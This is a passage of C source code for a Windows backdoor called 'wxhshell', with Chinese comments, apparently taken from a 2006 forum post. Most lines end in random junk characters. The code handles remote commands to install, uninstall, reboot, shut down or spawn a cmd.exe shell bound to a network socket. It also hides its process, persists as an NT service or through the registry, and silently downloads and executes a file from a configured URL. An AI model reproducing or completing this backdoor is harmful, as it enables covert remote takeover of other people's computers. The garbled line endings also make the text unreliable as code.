  case '?': { v65]$%F?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !k<k]^Z\  
    break; vYybQ&E/  
  } FwE<_hq//  
  // 安装 v4qpE!W27~  
  case 'i': { E]Q d5l  
    if(Install()) v4]#Nc$~T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ),>whCtsI  
    else wwNkJ+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }ssP%c]  
    break; W K(GR\@  
    } vL#I+_ 2  
  // 卸载 @.,Mn#  
  case 'r': { ba tXj]:  
    if(Uninstall()) 2Akh/pb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Yn$X  
    else ~\*wt(o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' %&-`/x  
    break; +4n}H}9l  
    } >]HvXEdNZ|  
  // 显示 wxhshell 所在路径 ta@fNS4  
  case 'p': { >guX,hx^  
    char svExeFile[MAX_PATH]; 8Ow#W5_3|  
    strcpy(svExeFile,"\n\r"); tl 9`  
      strcat(svExeFile,ExeFile); #nQboTB@  
        send(wsh,svExeFile,strlen(svExeFile),0); >E7s}bL"  
    break; 4~AY: ib|  
    }  Spw^h=o  
  // 重启 9!PM1<p  
  case 'b': { "yK)9F[9Mo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2eRv{_  
    if(Boot(REBOOT)) 6>3zD)tG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); de9e7.(2  
    else { y(*5qa<>  
    closesocket(wsh); {`Z= LLL  
    ExitThread(0); HqI[]T@  
    } iL<FF N~{  
    break; uF ;8B]"  
    } }R~C<3u\2  
  // 关机 og1Cj{0  
  case 'd': { *x)u9rO]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dP<i/@21Wm  
    if(Boot(SHUTDOWN)) 8PqlbLo1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yjOZed;M  
    else { k~2FlRoC^  
    closesocket(wsh); rM4Ri}bS  
    ExitThread(0); cpPS8V  
    } vl!o^_70(  
    break; cR&d=+R&  
    } ;Za^).=  
  // 获取shell |fb*<o eT  
  case 's': { *&5./WEOH  
    CmdShell(wsh); uG+eF  
    closesocket(wsh); 1wE`kbC<  
    ExitThread(0); [B^V{nUBc  
    break; &Z}}9dd  
  } pf#R]  
  // 退出 Abpzf\F  
  case 'x': { 4<- E0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); + jN)$Y3Ya  
    CloseIt(wsh); Bnz}:te}  
    break; gF]IAZCi  
    } P@<K&S+f  
  // 离开 .G}$jO}  
  case 'q': { vos-[$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZSB;4 ?:h  
    closesocket(wsh); fc<,kRp  
    WSACleanup(); #bb$Icmtk  
    exit(1); rW)}$|-Z  
    break; #%]?e N  
        } mp0s>R  
  } =T$2Qo8  
  } BOl*. t  
P#/s5D8  
  // 提示信息 oMxpdG3y-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S,s") )A1  
} Va/}|& 9  
  } C@MJn)$4  
D7v.Xq|  
  return; }cIj1:  
} t?p>L*  
$wcV~'fM  
// shell模块句柄 9Z:pss@  
int CmdShell(SOCKET sock) W,%qL6qV  
{ zB"y^g  
STARTUPINFO si; "9RW<+  
ZeroMemory(&si,sizeof(si)); Zf?jnDA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '1lz`CAB+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /pp;3JPf  
PROCESS_INFORMATION ProcessInfo; s ~i,R  
char cmdline[]="cmd"; s="cg0PD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j[w5#]&%  
  return 0; nB |fw"  
} n* z;%'0  
xQ=L2pX  
// 自身启动模式 OQ<NB7'n0A  
int StartFromService(void) <$ %Y#I'zX  
{ VKr oikz@]  
typedef struct &RlYw#*1.  
{ 6w0r)  
  DWORD ExitStatus; ~gEd (  
  DWORD PebBaseAddress; )7F$:*e  
  DWORD AffinityMask; PR>%@-Vgj  
  DWORD BasePriority; mTa^At"  
  ULONG UniqueProcessId; V/8yW3]Xy  
  ULONG InheritedFromUniqueProcessId; <h~_7Dn  
}   PROCESS_BASIC_INFORMATION; "'c =(P  
sv*xO7D.  
PROCNTQSIP NtQueryInformationProcess; g1q%b%8T  
rgu7g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M,eq-MEK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s`L>mRw`  
Byns6k  
  HANDLE             hProcess; p{JE@TM  
  PROCESS_BASIC_INFORMATION pbi; 3UGdXufw  
3 J\&t4q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1c $iW>0K  
  if(NULL == hInst ) return 0; -PH qD  
gjy:o5{vA*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q%FXox~b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ":Pfi!9Wl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SA6.g2pFz  
j"<F?k@`Q  
  if (!NtQueryInformationProcess) return 0; [u8JqX  
V[">SiOg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _MGhG{p7t  
  if(!hProcess) return 0; f>+:UGmP  
oz?6$oE(bt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;Z#DB$o\  
cK2Us+h  
  CloseHandle(hProcess); S]DYEL$  
"cX*GTNi8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SZC1$..2T  
if(hProcess==NULL) return 0; 5,?Au  
j=w`%nh4"f  
HMODULE hMod; qo0]7m7|  
char procName[255]; QLyBP!X-  
unsigned long cbNeeded; PF-"^2&_  
2ZFp(e^%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J OH=)+xj  
LwIX&\Ub  
  CloseHandle(hProcess); L3X[; |v}  
+DP{_x)t  
if(strstr(procName,"services")) return 1; // 以服务启动 Z+x`q#ZQr  
.Ue1}'v*,  
  return 0; // 注册表启动 J+8T Ie  
} Y&`nB,'  
qXQ7Jg9  
// 主模块 2o-Ie/"d\  
int StartWxhshell(LPSTR lpCmdLine) X6: c-  
{ jiAN8t*P  
  SOCKET wsl; Yc1ve  
BOOL val=TRUE; Uzd\#edxJ  
  int port=0; MQGR-WV=5  
  struct sockaddr_in door; mkt%|Kb.  
/bv4/P  
  if(wscfg.ws_autoins) Install(); ,(CIcDJ2U_  
ZfN%JJOz(  
port=atoi(lpCmdLine); fwi( qx1=}  
u:D,\`;)  
if(port<=0) port=wscfg.ws_port; J;7O`5J  
mGqT_   
  WSADATA data; q/yL={H?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Sf*b{6lcC  
D.R 7#^.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   khtSZ"8X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j]5bs*G  
  door.sin_family = AF_INET; Sj<WiQ%<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xA2 "i2k9  
  door.sin_port = htons(port); ,_2ZKO/k$  
7q[a8rUdh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '`Iuf\  
closesocket(wsl); 7{e*isV  
return 1; @s;qmBX4  
} Q'S"$^~{  
k\a&4v  
  if(listen(wsl,2) == INVALID_SOCKET) { JA~v:ec  
closesocket(wsl); k),.  
return 1; J-g<-!>RM  
} T#e ;$\  
  Wxhshell(wsl); 7B,a xkr  
  WSACleanup(); i>68gfx  
.0>2j(  
return 0; ,P9q[  
\P|PAU@,  
} G\1\L*+0  
8/dx)*JCq  
// 以NT服务方式启动 u:f.g?!`"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7U\GX  
{ G>);8T%l  
DWORD   status = 0; &z(E-w/S  
  DWORD   specificError = 0xfffffff; L^0s  
X) peY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U6@Hgi>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B#T4m]E/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8vLaSZ="[  
  serviceStatus.dwWin32ExitCode     = 0; Yq?FiE0  
  serviceStatus.dwServiceSpecificExitCode = 0; t$lO~~atr  
  serviceStatus.dwCheckPoint       = 0; zg2}R4h  
  serviceStatus.dwWaitHint       = 0; ?@i_\<A2  
]FNqNZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z.q^`01/H  
  if (hServiceStatusHandle==0) return; 5dE@ePO[/9  
M &g1'zv?/  
status = GetLastError(); 3b2[i,m<L  
  if (status!=NO_ERROR) r2]KP(T8|  
{  ]%L?b-e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `i,l)X]  
    serviceStatus.dwCheckPoint       = 0; *Jy'3o  
    serviceStatus.dwWaitHint       = 0; %cl=n!T  
    serviceStatus.dwWin32ExitCode     = status; j%m9y_rg}  
    serviceStatus.dwServiceSpecificExitCode = specificError; AD=vYDR+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eZMDtB  
    return; jLRh/pbz4  
  } [Grd?mc#  
%|:Gn)8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +I {ZW}rA  
  serviceStatus.dwCheckPoint       = 0; D 1Q@4  g  
  serviceStatus.dwWaitHint       = 0; TUQ+?[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #Jo#[-r  
} NM;0@ o  
;ctJ9"_g  
// 处理NT服务事件,比如:启动、停止 1webk;IM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <n)J~B^  
{ + S^OzCGk  
switch(fdwControl) (HW!!xM  
{ J7`fve  
case SERVICE_CONTROL_STOP: U$fh ~w<[  
  serviceStatus.dwWin32ExitCode = 0; q`l%NE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dp3>G2Yq  
  serviceStatus.dwCheckPoint   = 0; ?W*{% my  
  serviceStatus.dwWaitHint     = 0; Nj<}t/e  
  { +M"Fv9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G' 5p/:  
  } gxIGL-1M  
  return; :4f>S) m  
case SERVICE_CONTROL_PAUSE: GEdWpYKS-`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \CP)$0j-&o  
  break; 5*ip}wA  
case SERVICE_CONTROL_CONTINUE: G>/Gw90E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -.>b7ui  
  break; Nm.H  
case SERVICE_CONTROL_INTERROGATE: E*!  
  break; p=7{  
}; QU]& q`GE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pd<s#  
} K/,y"DUN&  
s\k4<d5  
// 标准应用程序主函数 sw={bUr6G`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Li jisE  
{ QgZwU$`p0  
o"te7nBI  
// 获取操作系统版本 TzC'x WO  
OsIsNt=GetOsVer(); Ua>lf8w<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &Hb;; Ic(  
7*9a`p3w  
  // 从命令行安装 eD4qh4|u.  
  if(strpbrk(lpCmdLine,"iI")) Install(); -K 7jigac  
llCBqWn  
  // 下载执行文件 b'!t\m  
if(wscfg.ws_downexe) { CWP),]#n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o=t@83Fh5  
  WinExec(wscfg.ws_filenam,SW_HIDE); \>T+\?M  
} `OL@@`'^{S  
Xu4C*]A>  
if(!OsIsNt) { dr|>P*  
// 如果时win9x,隐藏进程并且设置为注册表启动 B}PT-S1l  
HideProc(); "$->nC.  
StartWxhshell(lpCmdLine); 3D"2yTM(  
} u3"0K['3  
else ?s=O6D&   
  if(StartFromService()) Vq'\`$_  
  // 以服务方式启动 5r*5Co+  
  StartServiceCtrlDispatcher(DispatchTable); KW* 2'C&  
else {`FkiB` i  
  // 普通方式启动 SXYH#p  
  StartWxhshell(lpCmdLine); yqEX0|V%  
c>_tV3TDA  
return 0; >Mu I-^ 3  
}
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只看该作者 1 发表于: 2006-10-10
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